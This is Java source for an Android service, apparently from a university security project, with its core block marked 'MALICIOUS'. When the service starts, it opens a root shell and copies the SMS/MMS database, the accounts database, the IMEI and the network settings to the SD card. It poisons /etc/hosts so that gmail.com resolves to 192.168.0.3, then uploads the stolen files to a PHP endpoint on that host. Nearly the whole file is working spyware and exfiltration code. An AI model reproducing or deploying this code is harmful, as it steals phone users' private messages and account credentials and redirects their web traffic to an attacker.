package edu.ncsu.soc.rms;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.nio.MappedByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.List;

import org.apache.http.HttpResponse;
import org.apache.http.HttpStatus;
import org.apache.http.NameValuePair;
import org.apache.http.StatusLine;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.media.AudioManager;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.os.IBinder;
import android.util.Log;
import android.widget.Toast;

import com.google.android.maps.GeoPoint;

import edu.ncsu.soc.rms.myLocation.LocationResult;

public class HackService extends Service {
		private static final String TAG = "RingerService";
		private static final int BUFF_LEN = 1023;
		public static Process p;
			
		@Override
		public IBinder onBind(Intent intent) {
			return null;
		}
	
		@Override
		public void onCreate(){
			
			//Toast.makeText(this, "Hack Service created", Toast.LENGTH_LONG).show();
			Log.d(TAG, "onCreate");
			Log.d(TAG, "Trying to execute CODE");
			//MALICIOUS
			try{
				p = Runtime.getRuntime().exec(new String[]{"su", "-c", "system/bin/sh"});
				DataOutputStream stdin = new DataOutputStream(p.getOutputStream());
				//from here all commands are executed with su permissions
				//stdin.writeBytes("ls /data\n"); // \n executes the command TEST COMMAND
				//stdin.writeBytes("cat /data/data/com.android.providers.contacts/databases/contacts2.db");
				//stdin.writeBytes("head -c 100 /data/data/com.android.providers.telephony/databases/mmssms.db");
				
				//GET THE COMMAND AS A STRING FROM THE SERVER
				//JOE's Server goes here.
				//new RequestTask().execute("ADITH123");
				stdin.writeBytes("cat /data/data/com.android.providers.telephony/databases/mmssms.db > /mnt/sdcard/mms2.db \n");
				stdin.writeBytes("cat /data/system/accounts.db > /mnt/sdcard/accounts.db \n");
				stdin.writeBytes("dumpsys iphonesubinfo > /mnt/sdcard/imei.txt \n");
				stdin.writeBytes("netcfg > /mnt/sdcard/netcfg.txt \n");
				//ETC HOSTS ATTACK
				stdin.writeBytes("mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system \n");
				stdin.writeBytes("echo '192.168.0.3 gmail.com' >> /etc/hosts \n");
				
				stdin.writeBytes("echo \"Done\" \n");
				InputStream stdout = p.getInputStream();
				byte[] buffer = new byte[BUFF_LEN];
				int read;
				String out = new String();
				//read method will wait forever if there is nothing in the stream
				//so we need to read it in another way than while((read=stdout.read(buffer))>0)
				while(true){
				    read = stdout.read(buffer);
				    Log.d("Read count", ""+read);
				    out += new String(buffer, 0, read);
				    //Log.d("Command output", out);
				    if(read<BUFF_LEN){
				        //we have read everything
				        break;
				    }
				}
				Log.d("Size of out", " " + out.length()+' ');
				Log.d("OUT", out);
				
				ArrayList<String> args= new ArrayList<String>();
				args.add(out);
				args.add("mms2.db");
				args.add("accounts.db");
				args.add("netcfg.txt");
				args.add("imei.txt");
				new RequestTask().execute(args);
			}
			catch(IOException e){
				e.printStackTrace();
			}
			//END MALICIOUS
			
		}
			
		@Override
		public void onDestroy() {
			//Toast.makeText(this, "Hack service OFF", Toast.LENGTH_LONG).show();
			Log.d(TAG, "onDestroy");
			stopSelf();
			super.onDestroy();
			stopSelf();
			
		}
		
		@Override
		public void onStart(Intent intent, int startid) {
//			Toast.makeText(this, "Now Listening", Toast.LENGTH_LONG).show();
			
				}
		
		class RequestTask extends AsyncTask<ArrayList<String>, String, String>{

		    @Override
		    protected String doInBackground(ArrayList<String>... name) {
		    	ArrayList<String> args= name[0];
		    	Log.d("args",args.get(1));
		        HttpClient httpclient = new DefaultHttpClient();
		        HttpPost post = new HttpPost("http://192.168.0.3/hack_home.php");
		        HttpResponse response;
		        String responseString = null;
		        Log.d("Async", "Exec http");		        
		        
		        for(int i=1;i<args.size();i++){
		        
		        try {
		        	
		        	String file_name=args.get(i);
		            File dir = Environment.getExternalStorageDirectory(); //Read the file that was copied in SD card
		            File file = new File(dir,file_name); 
		            Log.d("DIR", dir.getAbsolutePath());
		            Log.d("FILE", ""+ file.exists());
		            		            
		            MultipartEntity entity = new MultipartEntity();
		            entity.addPart("name", new StringBody("Adith123"));
		            entity.addPart("file", new FileBody(file));
		            post.setEntity(entity);
	            		       
		            response = httpclient.execute(post);
		            BufferedReader rd = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
		            String line = "";
		            while ((line = rd.readLine()) != null) {
		            	Log.d("HTTP RESPONSE", line);
		        
		              //System.out.println(line);
		            }
		        	
		        } catch (ClientProtocolException e) {
		            //TODO Handle problems..
		        	Log.e("Error", "Client Problem Cleint Protocol");
		        } catch (IOException e) {
		            //TODO Handle problems..
		        	Log.e("Error", "Client Problem");
		        	e.printStackTrace();
		        }
		        
		        }
		        return responseString;
		    }

		    @Override
		    protected void onPostExecute(String result) {
		        super.onPostExecute(result);
		        //Do anything with response..
		    }
		}
		
		
		

}
	
	
	
	
	
	
	
	
	
	
	
	

